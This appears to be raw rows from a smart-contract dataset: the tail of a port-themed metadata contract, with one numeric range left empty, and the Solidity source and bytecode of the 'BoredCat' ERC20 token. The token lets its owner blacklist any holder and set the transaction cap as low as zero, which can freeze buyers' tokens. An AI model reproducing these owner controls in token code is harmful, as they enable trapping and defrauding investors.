// < l937W527WZi1AMv8lDv3ddNkBC0Tvt63X4xBlJ5wOdR0Wtn5FYQWf9I1rlWKMpf5 >
// < 1E-018 limites [ 495664373,552418 ; 519894201,925429 ] >
// < 0x0000000000000000000000000000000000000000000000B8A63D1DFC1ACF9A94 >
// < SEAPORT_Portfolio_VIII_metadata_line_25_____Vanino Port of Vanino_Port_Spe_Value_20230515 >
// < 33iZIY48WOtiTrAUQOl9Yef4sfia9bAi7iRi3G1W312C0g8M97FG4w4a6NO9rc1H >
// < 1E-018 limites [ 519894201,925429 ; 535145059,991797 ] >
// < 0x0000000000000000000000000000000000000000000000C1ACF9A94C75B69103 >
// < SEAPORT_Portfolio_VIII_metadata_line_26_____Vanino_Port_Authority_20230515 >
// < MohcTrb8177b00W7E3K7yKXJhQWxfaLG8NYCN50741muZ1fZ4A9VZ717PIih65EK >
// < 1E-018 limites [ 535145059,991797 ; 551207248,373753 ] >
// < 0x0000000000000000000000000000000000000000000000C75B69103CD5738559 >
// < SEAPORT_Portfolio_VIII_metadata_line_27_____Vidradne_Port_Spe_Value_20230515 >
// < 91c1F776a2029wIT7DzjRlw2F7EvB96U1oOU4GEkW84Hh55RLKLaqSmMMW04f050 >
// < 1E-018 limites [ 551207248,373753 ; 574666957,009596 ] >
// < 0x0000000000000000000000000000000000000000000000CD5738559D61483208 >
// < SEAPORT_Portfolio_VIII_metadata_line_28_____Vladivostok Port of Vladivostok_Port_Spe_Value_20230515 >
// < uz0I476Nn7JgO1BeE1gOXaSdjWIG7r3319feEouKTHhncWg62BS2me60yVuuQOr5 >
// < 1E-018 limites [ 574666957,009596 ; 596830529,357854 ] >
// < 0x0000000000000000000000000000000000000000000000D61483208DE5631F7B >
// < SEAPORT_Portfolio_VIII_metadata_line_29_____Volgodonsk_Port_Spe_Value_20230515 >
// < A7xa1b2yY5rh8Z1xiAyfnY6409Acq3H8BL2BiC3s7OH349V6ZeiPStG9DdCP7R3B >
// < 1E-018 limites [ 596830529,357854 ; 613663657,298783 ] >
// < 0x0000000000000000000000000000000000000000000000DE5631F7BE49B87015 >
// < SEAPORT_Portfolio_VIII_metadata_line_30_____Volgograd_Port_Spe_Value_20230515 >
// < F4Xdn2GJ1s5kDKHE3fKSNuADFJdPy1dQ56HQljej1V1Ysggh64A4pfKhGngLtSud >
// < 1E-018 limites [ 613663657,298783 ; 640987653,812905 ] >
// < 0x0000000000000000000000000000000000000000000000E49B87015EEC958C39 >
// Programme d'émission - Lignes 31 à 40
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < SEAPORT_Portfolio_VIII_metadata_line_31_____Vostochny Port of Vostochny_Port_Spe_Value_20230515 >
// < 9nNR8i4quM32Dpk5O0p39oO4fbyslS5pOdcc4T7AYm7bJYJYHT2Gel0rAQ136Z9u >
// < 1E-018 limites [ 640987653,812905 ; 658403911,197153 ] >
// < 0x0000000000000000000000000000000000000000000000EEC958C39F5464A5C3 >
// < SEAPORT_Portfolio_VIII_metadata_line_32_____Vostochny_Port_Joint_Stock_Company_20230515 >
// < rOqvrC62HQ42PaT9V27LY86N5n0Te9Z2846mbb992rN8NM9X7svfEiGQrE7AvGqG >
// < 1E-018 limites [ 658403911,197153 ; 676080574,858138 ] >
// < 0x0000000000000000000000000000000000000000000000F5464A5C3FBDC11881 >
// < SEAPORT_Portfolio_VIII_metadata_line_33_____Vyborg Port of Vyborg_Port_Spe_Value_20230515 >
// < vVyZ1W66xyptZ5JloJTA73G6xDrU8hWNYqTyJPG4dT7KbHck4uv4ORgUlHutc5I4 >
// < 1E-018 limites [ 676080574,858138 ; 694545185,576836 ] >
// < 0x000000000000000000000000000000000000000000000FBDC11881102BCFDB11 >
// < SEAPORT_Portfolio_VIII_metadata_line_34_____Vyborg_Port_Authority_20230515 >
// < Ap79ZwUHabxH69w5U6GWrKcJfoNM80upFYfC8zUiH9Nn3szn06eXXt0H9nMOjDUv >
// < 1E-018 limites [ 694545185,576836 ; 710398604,933373 ] >
// < 0x00000000000000000000000000000000000000000000102BCFDB11108A4E4101 >
// < SEAPORT_Portfolio_VIII_metadata_line_35_____Vysotsk_Marine_Authority_20230515 >
// < 54jcYnpo9vpbG550AKxF4ikhELByL97gtcgR9l79F1sz2Csac4blijBQpw50Y9sU >
// < 1E-018 limites [ 710398604,933373 ; 734250052,789908 ] >
// < 0x00000000000000000000000000000000000000000000108A4E4101111878ACD2 >
// < SEAPORT_Portfolio_VIII_metadata_line_36_____Yakutsk_Port_Spe_Value_20230515 >
// < R16xp47wyk9UNOOf4G1xL87W2JO40ns5BM8uUK6G03UUa2Puv2m5vI8KewxThULK >
// < 1E-018 limites [ 734250052,789908 ; ] >
// < 0x00000000000000000000000000000000000000000000111878ACD211757C0794 >
// < SEAPORT_Portfolio_VIII_metadata_line_37_____Yalta_Port_Spe_Value_20230515 >
// < 3YJX1fUQ2X0jRKva02FHr5W7cP88jV4xQKV0t1cP20m9BR2lN1E7r7c9sZ659QrX >
// < 1E-018 limites [ 749855062,081324 ; 771324893,231986 ] >
// < 0x0000000000000000000000000000000000000000000011757C079411F574645F >
// < SEAPORT_Portfolio_VIII_metadata_line_38_____Yaroslavl_Port_Spe_Value_20230515 >
// < bIm2X08hGe2V73tARDjqF9VlY821hE0RYiUnHRurBmaG10W36GlnhFgra7h5mLa7 >
// < 1E-018 limites [ 771324893,231986 ; 786627737,956064 ] >
// < 0x0000000000000000000000000000000000000000000011F574645F1250AAAE17 >
// < SEAPORT_Portfolio_VIII_metadata_line_39_____Yeysk Port of Yeysk_Port_Spe_Value_20230515 >
// < 1Y5TH5Cz5fNPYjSI0ZE3WcJhwkGHau25DHUi5u0h7J7Dl8oBItDoUW5W0gTf1Q0L >
// < 1E-018 limites [ 786627737,956064 ; 813646524,178767 ] >
// < 0x000000000000000000000000000000000000000000001250AAAE1712F1B61375 >
// < SEAPORT_Portfolio_VIII_metadata_line_40_____Zarubino_Port_Spe_Value_20230515 >
// < YVT32lOoQGW4mzKtBeQ00dqic5fHsgYQsVhUa2298UC7j71c2QLLe8Cap324Odko >
// < 1E-018 limites [ 813646524,178767 ; 835546197,072062 ] >
// < 0x0000000000000000000000000000000000000000000012F1B6137513743E532F >
}
|
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a72305820d6c570b389a1a60a40d680828ad66ae87870e92a47f45de6a4b243120cec664b0029
|
{"success": true, "error": null, "results": {}}
| 7,793 |
0x600D01FFf3E8646274287bC5b779A87fAbB92CFA
|
/**
*Submitted for verification at Etherscan.io on 2021-07-13
*/
// Telegram: https://t.me/boredcattoken
//
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is IERC20, IERC20Metadata, Ownable {
using SafeMath for uint256;
string internal _name;
string internal _symbol;
uint256 internal _totalSupply;
uint256 public _maxTxAmount;
mapping(address => bool) internal _isExcluded;
mapping(address => uint256) private _balances;
mapping(address => mapping (address => uint256)) private _allowances;
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public virtual override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isExcluded[sender], "Bot are banned");
if (sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
contract BoredCat is ERC20 {
using SafeMath for uint256;
uint256 private constant initialSupply = 1000000000000;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
super._mint(msg.sender, initialSupply * (10 ** decimals()));
_maxTxAmount = _totalSupply.mul(10).div(10 ** 2);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _totalSupply.mul(maxTxPercent).div(
10 ** 2
);
}
function transfer(address _to, uint256 _value) public virtual override returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public virtual override returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
function balanceOf(address who) public view virtual override returns (uint256) {
return super.balanceOf(who);
}
function approve(address _spender, uint256 _value) public virtual override returns (bool success) {
return super.approve(_spender, _value);
}
function allowance(address _owner, address _spender) public view virtual override returns (uint256 remaining) {
return super.allowance(_owner, _spender);
}
function totalSupply() public view virtual override returns (uint256) {
return super.totalSupply();
}
function excludeAddress(address bot) external onlyOwner() {
_isExcluded[bot] = true;
}
function includeAddress(address bot) external onlyOwner() {
_isExcluded[bot] = false;
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80637d1db4a511610097578063a9059cbb11610066578063a9059cbb1461028b578063d543dbeb146102bb578063dd62ed3e146102d7578063f2fde38b1461030757610100565b80637d1db4a5146102155780638da5cb5b1461023357806393995d4b1461025157806395d89b411461026d57610100565b8063313ce567116100d3578063313ce567146101a15780633758e6ce146101bf57806370a08231146101db578063715018a61461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610323565b60405161011a919061190b565b60405180910390f35b61013d60048036038101906101389190611611565b6103b5565b60405161014a91906118f0565b60405180910390f35b61015b6103c9565b6040516101689190611aed565b60405180910390f35b61018b600480360381019061018691906115c2565b6103d8565b60405161019891906118f0565b60405180910390f35b6101a96103ee565b6040516101b69190611b08565b60405180910390f35b6101d960048036038101906101d4919061155d565b6103f7565b005b6101f560048036038101906101f0919061155d565b6104e0565b6040516102029190611aed565b60405180910390f35b6102136104f2565b005b61021d61063e565b60405161022a9190611aed565b60405180910390f35b61023b610644565b60405161024891906118d5565b60405180910390f35b61026b6004803603810190610266919061155d565b61066d565b005b610275610756565b604051610282919061190b565b60405180910390f35b6102a560048036038101906102a09190611611565b6107e8565b6040516102b291906118f0565b60405180910390f35b6102d560048036038101906102d0919061164d565b6107fc565b005b6102f160048036038101906102ec9190611586565b6108bb565b6040516102fe9190611aed565b60405180910390f35b610321600480360381019061031c919061155d565b6108cf565b005b60606001805461033290611cdc565b80601f016020809104026020016040519081016040528092919081815260200182805461035e90611cdc565b80156103ab5780601f10610380576101008083540402835291602001916103ab565b820191906000526020600020905b81548152906001019060200180831161038e57829003601f168201915b5050505050905090565b60006103c18383610d4b565b905092915050565b60006103d3610d62565b905090565b60006103e5848484610d6c565b90509392505050565b60006009905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610485576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047c90611a4d565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006104eb82610e1d565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610580576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057790611a4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f290611a4d565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606002805461076590611cdc565b80601f016020809104026020016040519081016040528092919081815260200182805461079190611cdc565b80156107de5780601f106107b3576101008083540402835291602001916107de565b820191906000526020600020905b8154815290600101906020018083116107c157829003601f168201915b5050505050905090565b60006107f48383610e66565b905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461088a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088190611a4d565b60405180910390fd5b6108b260646108a483600354610c1490919063ffffffff16565b610c8f90919063ffffffff16565b60048190555050565b60006108c78383610e7d565b905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461095d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095490611a4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156109cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c49061194d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610afa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af190611acd565b60405180910390fd5b610b0f81600354610ced90919063ffffffff16565b600381905550610b6781600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ced90919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c089190611aed565b60405180910390a35050565b600080831415610c275760009050610c89565b60008284610c359190611bc6565b9050828482610c449190611b95565b14610c84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7b90611a2d565b60405180910390fd5b809150505b92915050565b6000808211610cd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cca906119cd565b60405180910390fd5b60008284610ce19190611b95565b90508091505092915050565b6000808284610cfc9190611b3f565b905083811015610d41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d389061198d565b60405180910390fd5b8091505092915050565b6000610d58338484610f04565b6001905092915050565b6000600354905090565b6000610d798484846110cf565b610e128433610e0d85600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d490919063ffffffff16565b610f04565b600190509392505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610e733384846110cf565b6001905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6b90611aad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fe4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fdb9061196d565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110c29190611aed565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561113f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113690611a8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a69061192d565b60405180910390fd5b600081116111f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e990611a6d565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561127f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611276906119ed565b60405180910390fd5b611287610644565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112f557506112c5610644565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156113405760045481111561133f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133690611a0d565b60405180910390fd5b5b61139281600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d490919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffff